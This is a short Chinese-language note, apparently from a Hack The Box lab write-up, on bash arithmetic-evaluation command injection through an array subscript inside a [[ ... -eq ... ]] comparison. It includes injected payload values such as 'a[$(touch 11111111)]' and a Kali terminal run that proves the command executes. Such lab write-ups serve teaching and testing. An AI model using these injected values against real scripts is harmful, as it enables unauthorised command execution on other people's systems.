shell算术求值命令注入
在shell的 ... -eq ... 表达式中,如果你使用 -eq(算术相等比较),shell会对变量内容进行算术求值 。如果变量包含数组下标语法 name[$(command)],shell会为了计算下标而执行括号内的命令
# 假设从外部(如 Web 表单或环境变量)获取输入
user_input='a[$(whoami > /tmp/hacked)]'
# 虽然用的是 -eq(算术比较)
if [[ "$user_input" -eq 1 ]]; then
echo "Equal"
fi
比如我们传入 'a[$(touch 11111111)]'
┌──(root㉿kali)-[~/Desktop/htb/Browsed/MarkdownPreview]
└─# ./1.sh 'a[$(touch 11111111)]'
find: ‘/home/larry/markdownPreview/tmp’: No such file or directory
./routines.sh: line 9: /home/larry/markdownPreview/log/routine.log: No such file or directory
Temporary files cleaned.
┌──(root㉿kali)-[~/Desktop/htb/Browsed/MarkdownPreview]
└─# ls
11111111 app.py backups files log README.md routines.sh